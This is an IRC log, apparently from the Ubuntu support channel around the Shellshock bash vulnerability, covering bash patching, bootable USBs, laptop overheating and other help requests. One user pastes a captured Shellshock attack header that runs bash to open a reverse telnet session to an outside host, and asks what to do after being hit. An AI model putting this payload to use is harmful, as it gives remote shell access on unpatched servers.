[09:43] <Slart> polikit: I think the LTS releases should be safe to upgrade like that.. haven't tried it myself though
[09:44] <Thumpxr> debi: just do apt-get update && apt-get upgrade
[09:44] <Thumpxr> will patch the todays + yesterdays vulnerability
[09:44] <Hightower_> Debi: Yeah sorry
[09:45] <mohamadf> hi there. im in ubuntu and i wanna create a startup usb for manjaro-xfce iso image file. how can i do it?
[09:45] <debi> Thumpxr:I know that.I just wan to know if updating bash itself will solve the problem.
[09:45] <Thumpxr> debi: yes. Give me a minute, i give you a source
[09:46] <Slart> debi: what is the date on the newest bash package..    apt-cache policy bash   should tell you
[09:46] <debi> Slart:can't tell.I dno't have access to my ubuntu now.
[09:46] <Thumpxr> debi: http://www.ubuntu.com/usn/usn-2363-2/
[09:47] <k1l> debi: ubuntu has all patches shipped since yesterday. just run the updates
[09:48] <debi> k1l:So just updating bash can patch it right?
[09:48] <Thumpxr> debi: k1l yeah
[09:49] <k1l> debi: ubuntu ships security updates, including the shellshock patches
[09:49] <agent_white> Also, there's that one-liner out there you can run to make sure you're all patched up.
[09:49] <k1l> debi: just make sure you use a ubuntu release that is still supported.
[09:50] <debi> I just wanna patch shellshock!Does apt-get update&&apt-get install bash patch it or not?yes or no?
[09:51] <k1l> debi: there are a lot of other security issues with other programs. so i recommend to run all updates
[09:51] <debi> k1l:Oh man!I know that!but my question is s.th else!
[09:53] <debi> k1l:So yes or no?
[09:53] <k1l> debi: yes
[09:53] <debi> k1l:thanks:)
[09:53] <Zax1> hi there, does any know of a good link to get apple response to the shellshock issue ?
[09:53] <k1l> but again: that is careless insecure then.
[09:53] <Zax1> i tried / j apple but that site is by invite only :?
[09:53] <k1l> Zax1: well, ask the apple support :)
[09:54] <BluesKaj> Hiyas all
[09:54] <Zax1> thanks k1l that was very useful - i'll take that as a 'no' from you
[09:54] <debi> Why I get this?"Install these packages without verification? [y/N] y"
[09:55] <k1l> Zax1: please make sure to read the channel topic and the guidelines. thanks
[09:56] <k1l> debi: what ubuntu are you on exactly?
[09:56] <cfhowlett> debi, cat /etc/issue
[09:56] <debi> 14.04
[09:56] <Zax1> oh, please....
[09:57] <debi> cfhowlett:Don't have access to my ubuntu right now.but I changed some repos.
[09:57] <k1l> debi: that changed repos are the issue
[09:57] <cfhowlett> debi, one of your packages is from an untrusted source.  On your head, it is ..
[09:57] <k1l> debi: and if you dont have access, how come you know what the output is?
[09:57] <TJ-> Hmmmm, how'd you get the message if you don't have access to the system?
[09:58] <debi> k1l:yes.but why?it's becasue it's unofficial or s.th?
[09:58] <cfhowlett> debi, cuz it
[09:58] <cfhowlett> cuz it's not from a trusted repo.
[10:00] <debi> thanks.how a repo can be trusted?
[10:00] <k1l> so in most cases that is by some spinoff who mixes own repos and the ubuntu ones. and most block ubuntu updates because they will remove the spinoff packages
[10:00] <k1l> debi: so please come back if you have access to that ystem and can provide proper output.
[10:01] <debi> k1l:Ok thanks.
[10:05] <izarry> guys can i install crack version of photoshop in ubuntu 14.0?
[10:06] <mohamadf> how can i create a startup usb from manjaro linux iso file?
[10:06] <cfhowlett> mohamadf, unetbootin
[10:06] <cfhowlett> !piracy | izarry,
[10:07] <k1l> mohamadf: just "dd" the ubuntu iso onto the usb
[10:07] <agent_white> mohamadf: #manjaro
[10:08] <izarry> ohhhhhhhh so sorry , i have photoshop portable and thats not cracked , its just version cs4 , can i install it on ubuntu?
[10:09] <mohamadf> cfhowlett: i want that startup usb for an other pc that hasnt any os! for use unetbootin target system must be in ubuntu.
[10:09] <cfhowlett> izarry, you already stated it's cracked.  your honest is suspect and piracy in unsupported here.
[10:09] <cfhowlett> mohamadf, false.
[10:09] <cfhowlett> mohamadf, unetbootin is for making bootable usb's from ANY distro
[10:09] <unik> free chatting is alowwed in #ubuntu-offtopic
[10:10] <izarry> cfhowlett, oh okay thanks btw.
[10:10] <mohamadf> cfhowlett: im newbie... ok i try it. thanks :)
[10:10] <cfhowlett> mohamadf, happy2help
[10:12] <vitimiti> hi
[10:12] <proto> здравствуйте
[10:12] <mohamadf> cfhowlett: to use unetbootin, i've to partition my flash memory?
[10:13] <cfhowlett> !ru | proto
[10:13] <cfhowlett> mohamadf, no need to partition usb.
[10:13] <cfhowlett> mohamadf, install unetbootin to your main os (manaro?), then use unetbootin to make the usb
[10:14] <mohamadf> cfhowlett: my flash memory fs is ext4. its ok?
[10:14] <cfhowlett> mohamadf, NFTS is better
[10:14] <mohamadf> cfhowlett: i have ubuntu, and i wanna create a startup for Manjaro (based on Archlinux)
[10:15] <mohamadf> cfhowlett: ok, thanks again :D
[10:15] <vitimiti> Has it happened to anybody else that the perl module of hexchat is lost in Ubuntu Utopic?
[10:15] <cfhowlett> vitimiti, ask #ubuntu+1 for !utopic assistance
[10:15] <vitimiti> cfhowlett, thanks
[10:15] <cfhowlett> vitimiti, happy2help
[10:18] <Guest23101> hey.!not able to create hotspot using external wifi adapter.! any suggestion?
[10:19] <Guest23101> hey.!not able to create hotspot using external wifi adapter.! any suggestion?
[10:22] <Guest23101> helllooo
[10:22] <HitmanV> hello
[10:22] <HitmanV> what are you using to create the hotspot?
[10:22] <HitmanV> explain your situation
[10:23] <TJ-> Guest23101: Not all WiFi chipset firmwares support Infrastructure mode - some will only support STAtion mode and AdHoc
[10:23] <Guest23101> i'm using ap-hotspot
[10:24] <HitmanV> Thats a good point TJ, Guest23101: what adapter are you using?
[10:25] <Guest23101> I'm using leoxsys-nano150N
[10:26] <kekko> list
[10:26] <HitmanV> can you paste the output or error you get when running "sudo ap-hotspot start"
[10:27] <xgremlinx> Hi everyone, I'm using AMD/ATI open-source drivers on 14.10. In order to try and get better performance I'd like to try latest mesa drivers. Is it just a matter of adding xorg-edgers PPA, update & upgrade?
[10:27] <k1l_> xgremlinx: #ubuntu+1 for 14.10 spport please
[10:27] <Guest23101> using leoxsys (wifi adapteR), i'm able to detect wifi (created by others).. but, when i' tried to create hotspot using ap-hotspot.. its showind following message.. "Your wireless card or driver does not support Access Point mode"
[10:27] <xgremlinx> oh sry :) I'm on 14.04
 : "Your wireless card or driver does not support Access Point mode"
[10:27] <xgremlinx> typo (was looking at the next release :P)
[10:28] <HitmanV> Guest23101 well thats exactly it, you will need to research and purchase a wifi adapter that supports the mode
[10:29] <gr33n7007h> Guest23101, well, that error is pretty self explanatory
[10:30] <HitmanV> xgremlinx: i found that ubuntu is good with switching drivers, so unlike windows you dont need to uninstall anything, just go ahead
[10:30] <HitmanV> but also read the readme file that comes with most drivers, they often explain what prep you might need to do before installing
[10:30] <Guest23101> HitmanV : so, u mean.. Using this wifi adapter My laptop  can only able to detect wifi but cant create hotspot?
[10:31] <koell> Want to buy a new graphics card/pc for gaming. What's a good one with good performance and drivers? Can you recommend something?
[10:31] <cfhowlett> koell, intell or nvidia.  amd not so well supported.
[10:31] <HitmanV> Guest23101: correct, different wifi architecture is capable of different modes
[10:31] <xgremlinx> HitmanV: oh I'm not wanting to deal with proprietary, I'd just like more up-to-date free drivers, and it looks like xorg-edgers PPA offers that. they have a newer version of xorg-server-video-ati in there, so I suppose I can just add that PPA, update&upgrade and I shall be good
[10:31] <xgremlinx> I hope :)
[10:32] <koell> cfhowlett: an intel graphics card for gaming? do they have that much performance?
[10:32] <cfhowlett> koell, they are better supported ...
[10:32] <Guest23101> HitmanV : Ooo.!  :( Bad luck. Thank u so  much
[10:32] <koell> cfhowlett: can you recommend me one?
[10:33] <cfhowlett> koell, sadly, I can't.  still I only run steam on my 2009 laptop with intel mobile 4000 gpu.
[10:33] <xgremlinx> koell: maybe try this http://www.tomshardware.com/reviews/gaming-graphics-card-review,3107.html
[10:34] <xgremlinx> pick the best nvidia card there for the money you're thinking on spending
[10:34] <k1l_> !hcl | koell
[10:34] <xgremlinx> and do a quick check for linux support
[10:34] <koell> hmm, i dont know if there is any dedicated intel PCIe card, i only know intel from those HD4000 cards and so on :/
[10:34] <HitmanV> Guest23101: pleasure
[10:35] <xgremlinx> that Hardware Support page on nvidias cards ir pretty outdated (2010)
[10:44] <SthNotTaken> This is a header I was passed. My server's response was larger than it should be (156k vs. a normal 39k). What do I do now?
[10:44] <SthNotTaken> "() { :;}; /bin/bash -c \"telnet <IP_ADDRESS> 9999\""
[10:45] <abhishek> how can i increase opt partition space
[10:47] <maxvi> how can I setup pigdin (google talk) with my email on google something like<EMAIL_ADDRESS>?
[10:47] <TJ-> SthNotTaken: Isolate it, then check logs carefully for indications of what the reverse telnet session was used for.
[10:47] <cfhowlett> SthNotTaken, ask #ubuntu-server channel?
[10:48] <SthNotTaken> cfhowlett: thanks
[10:48] <cfhowlett> SthNotTaken, happy2help
[10:58] <hduser92> hi
[11:00] <zy3pD> hi
[11:04] <MadsRC> 've finally taken on the challenge of setting up my own mailserver with Ubuntu :P I've set up pretty much everything except a Ubuntu mailserver :P
[11:07] <Svetlana> well yes, i didn't figure out why i'd like to run my own yet
[11:12] <koell> Why does the ubuntu installer not create an own /home partition when I choose to use encrypted (LVM) installation? I would like to have an encrypted installation WITH separate /home partition.
[11:13] <cfhowlett> koell, easy enough to configure that manually
[11:17] <koell> cfhowlett: easy?^^
[11:17] <cfhowlett> !home
[11:19] <koell> is it really that "clean" and easy to do this afterwards?
[11:19] <koell> im currently going to a new (old) pc with my first install there
[11:22] <doordie-> great choice koell
[11:22] <koell> hahahah :D
[11:23] <doordie-> ubuntu is like old windows but better
[11:23] <koell> im not a pro using arch linux :D
[11:23] <agent_white> arch isn't hard :)
[11:23] <agent_white> That's gentoo!
[11:23] <doordie-> try loading the latest version 14.04
[11:23] <doordie-> its clean
[11:25] <koell> im not using the default ubuntu, im more into lubuntu but i guess it doesnt matter to ask here
[11:25] <k1l_> lubuntu is fine for old hardware
[11:26] <PaulVern> I'm using Xubuntu
[11:26] <koell> yeah but i really need help to setup encrypted lvm with separate home part xD
[11:26] <PaulVern> I went KDE3.5 (Kubuntu) -> Gnome (Ubuntu 10.04, avoided KDE4) -> Xubuntu (Avoiding all the ads)
[11:27] <doordie-> i just downloaded ubuntu 14.04 and it loads clean
[11:27] <cfhowlett> lubuntu is optimized for older/lower specification hardware.   xubuntu is also good.
[11:27] <koell> i would even use it on newer hardware :3
[11:27] <agent_white> Night folks
[11:31] <Hjalamre> I have the weirdest issue with international characters. I cant enter swedish characters "åäö" into some applications. Applications that doesnt work: konsole, chrome, atom. Some that work: Kate, firefox, netbeans
[11:31] <koell> xD
[11:31] <Hjalamre> the characters render ok, and i can paste them into chrome for example
[11:31] <koell> you are welcome =)
[11:32] <Hjalamre> but when i press äöå in chrome/konsole nothing happens
[11:32] <TJ-> Hjalamre: Is the locale set to UTF-* ?
[11:32] <TJ-> Hjalamre: Is the locale set to UTF-8 ? :)
[11:32] <Hjalamre> it should be
[11:33] <Hjalamre> System Locale: LANG=en_US.UTF-8
[11:33] <Hjalamre> from localectl
[11:33] <Hjalamre> åäö also works in the standard linux terminal
[11:34] <Hjalamre> My guess would be that theres atleast 2 different ways to fetch keyboard input and one of them is a bit broken for me
[11:36] <Hjalamre> Also this used to work, but some update probably broke it about a week ago
[11:45] <rockworldmi> i am unable to boot into LiveDVD on hp450
[11:45] <rockworldmi> i have disabled uefi but still not working
[11:50] <MagicSpud> hello I use keepass and now  I cannot access my keyfile because the usb pendrive it is stored in stopped working. is there a way to fix this?
[11:52] <ubuntu> czesc
[11:52] <michele__> hi
[11:52] <cfhowlett> !czech
[11:53] <michele__> why if I close the laptop lid the laptop shutdown?
[11:54] <ubuntu_> _____________________________________________________________
[11:54] <ubuntu_> whois
[11:54] <cfhowlett> !whois
[11:54] <ubuntu_> who
[11:55] <HitmanV> michele__ have you looked in your power settings
[11:55] <michele__> yes
[11:55] <ubuntu_> no
[11:55] <TJ-> michele__: Usually closing the lid causes the PC to go into S3 sleep (Suspend) mode to save battery. Only the contents of memory are maintained. When the lid is opened, the PC resumes where it was
[11:56] <michele__> no showtdown and don't resumes
[11:56] <michele__> i've windows/ubuntu
[11:57] <HitmanV> sudo -H gedit /etc/systemd/logind.conf   Add a line HandleLidSwitch=ignore (make sure it's not commented out!),  reboot your pc
[11:57] <michele__> I think it's the fault of overheating
[11:57] <HitmanV> use sensord to check temp
[11:58] <michele__> #LidSwitchIgnoreInhibited=yes
[12:00] <HitmanV> im not sure if thats it
[12:01] <HitmanV> http://www.freedesktop.org/software/systemd/man/logind.conf.html
[12:01] <michele__> http://pasteall.org/pic/show.php?id=77750
[12:01] <michele__> save?
[12:02] <HitmanV> you need to uncomment the line for it to be active (remove #)
[12:02] <HitmanV> but i dont see HandleLidSwitch=ignore set correctly in that pic
[12:02] <Nomikos> while doing do-release-upgrade I'm getting a bunch of "/usr/sbin/grub-probe: warning: disk does not exist, so falling back to partition device /dev/xvda1" in the scrolling text, is that something that needs looking at?
[12:02] <Nomikos> this is a hosted VPS
[12:03] <michele__> suspend
[12:04] <ubuntu41w> Does anyone know if there is a bug in beta that prevents the use of encrypted installation? I can't unencrypt the disk on startup!
  suspend ?
[12:05] <michele__> i've looked this line #HandleLidSwitch=suspend
[12:05] <cfhowlett> ubunt41w   utopic is supported in #ubuntu+1
[12:05] <TJ-> Nomikos: It means the VM Guest doesn't control its own boot device; check with the hosting provider what their upgrade recommendations are
[12:05] <michele__> i write #HandleLidSwitch=ignore
[12:05] <michele__> ???
 ok now remove the hash (#) and change the "suspend to ignore" like this HandleLidSwitch=ignore
[12:05] <HitmanV> then save and reboot your pc
[12:05] <Nomikos> TJ-: thanks. can you point me to something with more info on this? or is that just man pages?
[12:05] <HitmanV> laptop
[12:06] <michele__> why the # i delete?
[12:06] <HitmanV> the # disables that entire line from being active
[12:06] <TJ-> Nomikos: Your hosting provider - they're the ones that know how their VM guests are configured.
[12:06] <Nomikos> TJ-: the upgrades do work, just seeing that message many many times during the process
[12:06] <Nomikos> TJ-: ok, thanks
[12:07] <EriC^^> Nomikos: that's the upgrader trying to run update-grub ( to update the bootloader )
[12:07] <michele__> look http://www.pasteall.org/54197
[12:07] <TJ-> Nomikos: Yeah, I'm not sure why grub would remain installed if it isn't needed. I'm assuming you started originally from a hosting-provider image and haven't manually added grub packages
[12:07] <michele__> it's ok?
[12:08] <michele__> save and reboot?
[12:08] <Nomikos> TJ-: I haven't added anything, no. we just chose the recent Ubuntu at the time
 yes
[12:08] <michele__> thanks now i try
[12:08] <HitmanV> :)
[12:09] <TJ-> Nomikos: xvda1 tells us the Hypervisor is Xen, so in your hosts control-panel there will likely be a choice of kernel version to boot with, and the XEN hypervisor will attach disk images as xvd? devices - so the system doesn't boot from a raw disk like a bare-metal system
[12:10] <Nomikos> TJ-: hmkay. I'll shoot them an email and CC the guy who set this up originally.
[12:10] <Nomikos> EriC^^: also thanks
[12:11] <mark|2> Anyone using dd-wrt?
[12:12] <k1l> mark|2: some do. but is that an ubuntu question?
[12:14] <mark|2> k1l: yeah cause I can't seem taccess it from my machine..
[12:14] <mark|2> running ubuntu
[12:14] <mark|2> but my other devices are fine..
[12:15] <cfhowlett> mark|2, was this and OEm
[12:15] <cfhowlett> or did you install dd-wrt
[12:15] <mark|2> cfhowlett: What OEm?
[12:15] <mark|2> cfhowlett: i've got DD-WRT already installed on it
[12:16] <cfhowlett> mark|2, if your other devices connect but this one doesn't, I suspect you've a bad ddwrt install
[12:16] <k1l> mark|2: any errormessages? does the wifi card work with other routers?
[12:17] <TJ-> mark|2: Can the PC connect using a wire, or is it only a WiFi issue? If the latter, check the syslog for indications of problems ...the common one is the regulatory domain in use restricting the client from using the channel the AP is on
[12:17] <mark|2> No error message at all, it's just an unending loading icon
[12:19] <mark|2> I'm using wired connection.. It's just that I'm not able to go to the admin panel.
[12:19] <TJ-> mark|2: E.g. AP on channel 13, but client restricted to channel 11 and below
[12:21] <mark|2> TJ-: It's on channel 6 by default, all devices should be able to connect
[12:22] <mark|2> Meh... I'll probably just reflash it again..
[12:22] <michele__> how to view temperature
[12:22] <mark|2> Sorry if it's not ubuntu related question..
[12:23] <michele__> how to view temperature
[12:23] <michele__> ?
[12:24] <EriC^^> michele__: psensor lets you view the temperatue
[12:24] <EriC^^> *temperature
[12:24] <budus> list
[12:25] <michele__> psensor?
[12:25] <michele__> in terminal?
[12:26] <michele__> ok i installing psensor
[12:26] <michele__> what is the just temperature?
[12:26] <budus> !list
[12:26] <[]Tsukasa[]> bind9 setup a hand full of zones, when I use dnsstuff tools it keeps reporting there is no MX records and no SOA but they are there in the forward zones. What would I check for this issue?
[12:26] <michele__> 97°
[12:26] <michele__> temp1 97°
[12:28] <michele__> join /#blender
[12:28] <EriC^^> michele__: 97 is way too high
[12:29] <michele__> my portable it's a bad computer!
[12:29] <michele__> :(
[12:29] <EriC^^> michele__: 50-60-70 i guess is ok depending on load
[12:29] <michele__> why it's too high?
[12:29] <EriC^^> michele__: maybe the fan needs cleaning and the air ducts
[12:29] <michele__> it is on desk
[12:29] <HitmanV> dust
[12:30] <TJ-> michele__: Mosts times the cause is fluff build up inside the laptop, blocking the ventilation radiator. Often you can clear that by turning the PC off, then using an air compressor to blow it out
[12:30] <HitmanV> not a vacuum cleaner
[12:30] <EriC^^> michele__: type top in the terminal, is there any process taking a big cpu % ?
[12:31] <michele__> now i've close all the program
[12:31] <michele__> 95°
[12:31] <TJ-> michele__: The 2nd cause is that the heatsink is performing poorly - in which case having it reseated and replacing the existing thermal compound with new, high quality, compound can often drop the idle temperature 10C from the nominal manufacturers specification
[12:31] <michele__> nono it's a portable
[12:32] <michele__> i've untuched
[12:32] <michele__> so since I bought it
[12:32] <michele__> 96°
[12:33] <michele__> cpu usage 17%
[12:33] <michele__> 96°
[12:33] <EriC^^> that's pretty high cpu usage
[12:33] <michele__> i must be open the pc
[12:33] <EriC^^> really high
[12:33] <EriC^^> i have 2-3%
[12:33] <michele__> cpu usage 17%?
[12:33] <michele__> it's high?
[12:33] <k1l> is the fan even spinning?
[12:34] <k1l> michele__: 90° is too high
[12:34] <EriC^^> michele__: yeah
[12:34] <michele__> yes even
[12:34] <EriC^^> michele__: type top in the terminal
[12:34] <EriC^^> and see what's using it
[12:34] <michele__> now i close firefox
[12:34] <michele__> 16%
[12:34] <michele__> cpu usage
[12:34] <k1l> michele__: what does "load" say in top?
[12:34] <michele__> mmm
[12:34] <michele__> what i screen
[12:35] <Grimlock1182> use entire disk and set up LVM, what is LVM?
[12:35] <michele__> http://pasteall.org/pic/show.php?id=77753
[12:35] <guzzi_jones> grimlock1182, lvm is logical volume management
[12:36] <guzzi_jones> you will be able to resize your drive without repartitioning
[12:36] <Grimlock1182> guzzi_jones, like gparted?
[12:36] <guzzi_jones> you also will be able to quickly "snapshot" the drive if you want.
[12:36] <guzzi_jones> you will not need gparted.
[12:37] <guzzi_jones> think of lvm as a layer on top of a partition
[12:37] <EriC^^> michele__: the kworker disappears after a while right?
[12:37] <guzzi_jones> so it goes, - physical disk --> parition --> lvm parition
[12:37] <Grimlock1182> guzzi_jones, ah.. ok thanks
[12:37] <michele__> what is the kworker?
[12:37] <EriC^^> michele__: it's the process in the top of the list
[12:38] <EriC^^> above compiz or xorg
[12:38] <michele__> yes
[12:38] <michele__> i think i will open that portable
[12:39] <michele__> for clean it
[12:39] <k1l> michele__: wait
[12:39] <k1l> kworker is the issue here
[12:39] <EriC^^> k1l: michele__ says that it disappears
[12:40] <michele__> i don't beliebe
[12:40] <EriC^^> michele__: is kworker still there?
[12:40] <michele__> it change the position
[12:40] <EriC^^> what's at the top of the list now? and what's the % ?
[12:40] <k1l> hmm, there is some known bugs with kworker to make a lot of cpu usage
[12:40] <michele__> nono it0s always on the top
[12:40] <michele__> sorry it's always on the top
[12:41] <k1l> and the load does link to that its on high demand
[12:41] <EriC^^> michele__: run top in the terminal, leave it for some secs running, then take a screen shot again, please
[12:41] <michele__> ok
[12:41] <guzzi_jones> grimlock1182, i have done on a server: physical disk-->paritition-->raid parition ->> lvm partition
[12:41] <b> hey guys how can i quickly set up a php server?
[12:42] <EriC^^> !lamp | b
[12:42] <michele__> http://pasteall.org/pic/show.php?id=77754
[12:43] <Grimlock1182> guzzi_jones, what is the different between to use the entire disk and use with LVM
[12:43] <zc_> nick Charles
[12:44] <EriC^^> michele__: it seems the problem is kworker
[12:44] <EriC^^> k1l: any suggestions?
[12:44] <k1l> michele__: EriC^^ seems like the cause are acpi interuppts are keeping kworker that high
[12:45] <k1l> http://sudoremember.blogspot.de/2013/05/high-cpu-usage-due-to-kworker.html michele__
[12:45] <k1l> that seems like a workaround so far
[12:46] <Goose84> I have set up a mount in /mnt/backups how would I make this accesable if i went to <IP_ADDRESS> eg i want the location path to be //<IP_ADDRESS>/backups
[12:47] <michele__> before i've setted this HandleLidSwitch=ignore
[12:47] <michele__> because i believe the problem of shutdown when i close the screen it's this
[12:47] <michele__> but it's the temperature!
[12:48] <archangelpetro> btw. to install gnome on ubuntu (unity) 14.04, is it just as simple as apt-get install gnome?
[12:48] <k1l> archangelpetro: gnome-shell
[12:49] <knightwise> I just did an install of Ubuntu with Mate
[12:49] <knightwise> also , not bad looking
[12:50] <archangelpetro> k1l, okay, cool :)
[12:57] <bruno_> 1
[12:57] <bruno_> 2
[13:01] <joshux> how to deal with procrastination
[13:01] <cfhowlett> joshux, wrong channel
[13:01] <k1l> joshux: join #ubuntu-offtopic , that will solve it :)
[13:02] <k1l> !away | dmsimard_away
[13:02] <zottel_> Anybody know how i can change the System Information? For example: MyName OS
[13:03] <k1l> zottel_: /etc/lsb-release?
[13:04] <Ekaterin> evince ignores the "auto-rotate and center" option when printing.  If you print an A5 pdf on A4 paper the printout will be in the top left corner of the pages, not in the centre as with Adobe Reader.
[13:05] <XfceGuy> hello there.  Could you please tell me if there is a proper channel for xfce users?
[13:05] <cfhowlett> XfceGuy, #xfce strangely enought
[13:05] <XfceGuy> I have some issues with Chromebook and Xfce
[13:05] <k1l> XfceGuy: you mean #xubuntu or #xfce ?
[13:05] <cfhowlett> *enough*
[13:06] <XfceGuy> k1l, aren't they the same thing?
[13:06] <cfhowlett> XfceGuy, nope.  xfce is the desktop environment.  used on several distros.
[13:07] <XfceGuy> cfhowlett,  O_o,  I am a very ignorant person, shame on me....
[13:07] <cfhowlett> XfceGuy, now you know.  spread the word!
[13:07] <XfceGuy> well I have got a wee mouse as a logo
[13:07] <XfceGuy> and in order to get in i have to type: sudo startxfce4
[13:08] <XfceGuy> so what is it then? Xfce?
[13:08] <bruno_> 1
[13:08] <d4rkt1m3s> does anyone know if there's a patch for Shellshock yet?
[13:08] <coelebs> hello how do i reset pulseaudio to factory default?
[13:08] <bruno_> 2
[13:08] <bruno_> 1/2
[13:08] <cfhowlett> d4rkt1m3s, yes it's been patched
[13:09] <XfceGuy> what is the command to get the ubuntu version?
[13:09] <d4rkt1m3s> good. I'll have it done by tonight
[13:09] <XfceGuy> I suspect I have Xfce with Precise Pangolin
[13:09] <XfceGuy> (i have a glass of white wine as well) :D
[13:10] <d4rkt1m3s> XfceGuy: lsb_release -a
[13:11] <XfceGuy> thanks d4rkt1m3s , I have Ubuntu 12.04.5 LTS, precise
[13:11] <d4rkt1m3s> XfceGuy: what's the problem?
[13:11] <XfceGuy> but I have Xfce as a desktop environment
[13:11] <d4rkt1m3s> so?
[13:11] <XfceGuy> d4rkt1m3s,  I hope you will have the patience..
[13:11] <bruno_> 1
[13:12] <bruno_> 2
[13:12] <bruno_> 1/2
[13:12] <JoeyJoeJo> Is there a complete fix yet for shellshock?
[13:12] <d4rkt1m3s> I am a technical support professional that works with seniors for a living. I have all the patience that you can get.
[13:12] <cfhowlett> JoeyJoeJo, yes.
[13:12] <XfceGuy> everything was working fine until I have installed something, I suspect, a program for referencing harvard style, called text-gyro
[13:13] <XfceGuy> or something like that...
[13:13] <d4rkt1m3s> and now?
[13:13] <XfceGuy> I have a Chromebook that runs crouton
[13:13] <XfceGuy> and it was very fast to load it
[13:13] <d4rkt1m3s> a Chromebook.... that means ARM processor right?
[13:14] <XfceGuy> d4rkt1m3s, yep
[13:14] <JoeyJoeJo> cfhowlett: Do I only have to update the bash package to get the fix?
[13:14] <cfhowlett> JoeyJoeJo, sudo apt-get install bash
[13:14] <d4rkt1m3s> XfceGuy: explain the symptoms of your issue please.
[13:15] <XfceGuy> I will in a moment, d4rkt1m3s , thanks for waiting
[13:16] <coelebs> here's my jackctl and pulseaudio logs if it's easier to fix than reset: http://pastebin.com/c7uYKXff and http://pastebin.com/JdwrJSZD
[13:17] <XfceGuy> so, basically now there are some weird thing happening: 1) it is 4 times slower and chromium browser seems having troubles... 2) I could not see the Desktop, but just a grey background.  So what I did was that I uninstalled text-gyro, and magically the desktop came back but, chromium browser is still behaving dodgy and it still takes longer to load when starting the code: sudo startxfce4
[13:18] <d4rkt1m3s> XfceGuy: you should update all of your packages (sudo apt-get update && apt-get upgrade), then tell me if you've still got the problem
[13:19] <d4rkt1m3s> if you still have the problem, apt-get purge text-gyro
[13:20] <XfceGuy> d4rkt1m3s, I did that previously as well, but I will do that again, and yes, I purged it from text-gyro...Anyway I will do these things again and I'll see you in a couple of minutes...
[13:20] <XfceGuy> thanks d4rkt1m3s
[13:20] <d4rkt1m3s> you're welcome.
[13:21] <d4rkt1m3s> hello
[13:23] <JoeyJoeJo> My /boot is full. How can I remove old versions of the kernel without installing new ones?
[13:25] <d4rkt1m3s_> can somebody kick d4rkt1m3s so I can log in?
[13:26] <xangua> !ghost
[13:26] <XfceGuy> Hi d4rkt1m3s?
[13:26] <XfceGuy> is he there?
[13:26] <d4rkt1m3s_> hi. my computer is being finicky today.
[13:26] <XfceGuy> ehehe
[13:26] <XfceGuy> that's all right,
[13:27] <XfceGuy> we are all in the same boat
[13:27] <XfceGuy> Could I show you something interesting in pastebin?
[13:27] <d4rkt1m3s> go ahead.
[13:27] <XfceGuy> it is the log of crouton
[13:27] <XfceGuy> when loading Ubuntu
[13:29] <XfceGuy> I have just noticed that the passwords saved in chromium have actually disappeared
[13:29] <XfceGuy> O_0
[13:29] <d4rkt1m3s> maybe you should reinstall chromium
[13:30] <Dudytz> hi all ... I have a host with a lxc container, like: host public ip <IP_ADDRESS>, host private ip <IP_ADDRESS> ... container: private ip <IP_ADDRESS>. The host act as a router with rules DNAT/MASQUERADE to route <IP_ADDRESS>:25 to the container. This works wheel, but I cannot do a connection to <IP_ADDRESS>:25 from the container. How can I configure the host iptables to correctly route this connection? My actual rules are: "-A PREROUTING -d <IP_ADDRESS> -p tcp --
[13:30] <Dudytz> dport 25 -j DNAT --to-destination <IP_ADDRESS>" ... AND ... "-A POSTROUTING -s <IP_ADDRESS>/24 ! -d <IP_ADDRESS>/24 -j MASQUERADE"
[13:31] <t_dmitry> Hello guys. I have a loghitech mx mouse. How I can use all its additional buttons? For example, I want put win+s combination to my mice
[13:34] <PaulVern> Depends
[13:34] <PaulVern> I have an M560 and there is no solution for the middle button
[13:34] <PaulVern> it's actually sending keyboard commands
[13:34] <XfceGuy> http://pastebin.com/ZCjMcfH9
[13:34] <XfceGuy> d4rkt1m3s,  how do I re-install chromiu?
[13:35] <XfceGuy> d4rkt1m3s,  how do I re-install chromium?
[13:35] <d4rkt1m3s> XfceGuy: sudo apt-get remove chromium && apt-get install chromium.
[13:36] <Ekaterin> Can I have a little help with evince on Ubuntu 14.04?  It seems to ignore the "auto-rotate and center" option, so when I print a pdf file with small pages they appear in the corner rather than centered.
[13:37] <PaulVern> t_dmitry, give this guide a try: http://forums.logitech.com/t5/Mice-and-Pointing-Devices/Guide-for-setup-Performance-MX-mouse-on-Linux-with-KDE/td-p/517167
[13:38] <PaulVern> substitute kate for gedit or vim
[13:38] <PaulVern> xbindkeys is what you want
[13:39] <t_dmitry> PaulVern, thanks a lot
[13:39] <XfceGuy> d4rkt1m3s, would removing chromium delete bookmarks?
[13:40] <t_dmitry> I'll try it
[13:40] <XfceGuy> d4rkt1m3s, would removing chromium delete bookmarks?
[13:40] <d4rkt1m3s> I have no Idea. probably.
[13:40] <PaulVern> XfceGuy, you probably have a .chromium folder in ~  I'd back that up first
[13:41] <PaulVern> alternatively, don't google have a syncing feature?
[13:41] <PaulVern> you could sign into that and sync your bookmarks to it
[13:42] <XfceGuy> ok, that's right
[13:42] <Carl_> I've encountered a problem. If anyone could help I'd really appreciate it. I'm running ubuntu 14.04. While trying to to perform any command (unzip, dpkg etc)  on any  file I get error: no such file or directory.
[13:43] <PaulVern> could you 'ls -lh <file>' ?
[13:43] <Ekaterin> Carl_, type "echo $PATH" - what do you get?
[13:44] <[]Tsukasa[]> bind9 issue. Checks not returning SOA, MX, SPF records http://stackoverflow.com/questions/26060636/dns-spf-mx-and-soa-issue
[13:46] <Carl_> @Ekaterin I get /user/local/bin:/usr/bin:/usr/local/games:/usr/games
[13:47] <Ekaterin> Carl_ it should be /usr/local/bin without the e, but that doesn't explain your problem.
[13:48] <Carl_> Yep that's right. It gave me usr but it got autocorrected
[13:49] <Ekaterin> Carl_ maybe you're in the wrong directory - type pwd to see where you are, cd to go to your home directory, ls for a list of files.
[13:50] <Ekaterin> And I think your PATH should have /bin in it as well as /usr/bin and /usr/local/bin.
[13:52] <Carl_> Ekaterin_ I'm in my home directory. It tells me I only have 1 file.
[13:53] <Carl_> I'm not sure if perhaps the path is wrong. The "games" portion is strange since I don't have anything stored in my games folder
[13:54] <Ekaterin> Could you have accidentally deleted all your files or moved them somewhere?  "ls -R" for a recursive listing in case your 1 file is actually a directory.
[13:56] <Carl_> Ls -R does display the file I'm trying to work with. Unfortunately when trying to execute a command with said file I get the error
[13:57] <aaa801> i seem to have a microsd card that will not format
[13:57] <aaa801> i can read from it just fine, just not delete/format
[13:57] <TJ-> Carl_: what does "hash" report - specifically, does it list any of the commands you're trying to execute?
[13:58] <pax2you> hi to all. How can i detect  a internal modem in a laptop?
[13:58] <geirha> Carl_: what does this output?   ''type dpkg''
